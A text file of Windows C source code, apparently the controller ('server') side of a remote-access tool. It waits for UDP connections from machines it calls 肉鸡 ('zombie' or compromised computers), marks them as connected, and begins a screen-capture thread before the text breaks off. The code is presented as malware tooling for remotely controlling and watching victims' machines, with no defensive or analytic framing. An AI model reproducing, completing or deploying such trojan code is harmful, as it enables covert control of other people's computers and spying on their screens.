远程登录.txt

服务端源码：
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")

HINSTANCE ApphInstance;
HWND hMainWnd,hStartScreenButton,hStateStatic,hPrintScreenWnd;
SOCKET hControlSocket;
sockaddr_in stControlAddr;
MSG_HEAD ControlCMD;
BOOL bPrintScreen = FALSE;
HDC hCaptureDC;

VOID ListenThread(LPVOID lpParam)
{
        fd_set stReadfd;
        timeval stTime;
        sockaddr_in stSin;
        int SelectReturn,addrLength;
        char lpBuffer[256];
        MSG_HEAD MsgHead;

        while(1)
        {
                FD_ZERO(&stReadfd);
                FD_SET(hControlSocket,&stReadfd);
                stTime.tv_sec = 0;
                stTime.tv_usec = 200 * 1000;
                SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);

                if(SOCKET_ERROR == SelectReturn)
                        break;
                if(SelectReturn)
                {
                        RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
                        addrLength = sizeof(sockaddr_in);
                        recvfrom(hControlSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr*)&stSin,&addrLength);
                        memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
                        switch(MsgHead.dwCmdId)
                        {
                        case CMD_LINK:
                                {
                                        memcpy(&stControlAddr,&stSin,sizeof(sockaddr_in));
                                        SetWindowText(hStateStatic,"肉鸡状态:已连接");
                                        break;
                                }
                        }
                }
        }
        closesocket(hControlSocket);
        return ;
}

VOID PrintScreenThread(LPVOID lpParam)
{
        SOCKET hListenSocket,hPrintScreenSocket;
        sockaddr_in stSin;
        fd_set stReadfd;
        timeval stTime;
        int SelectReturn,nBitmapDataSize = 32;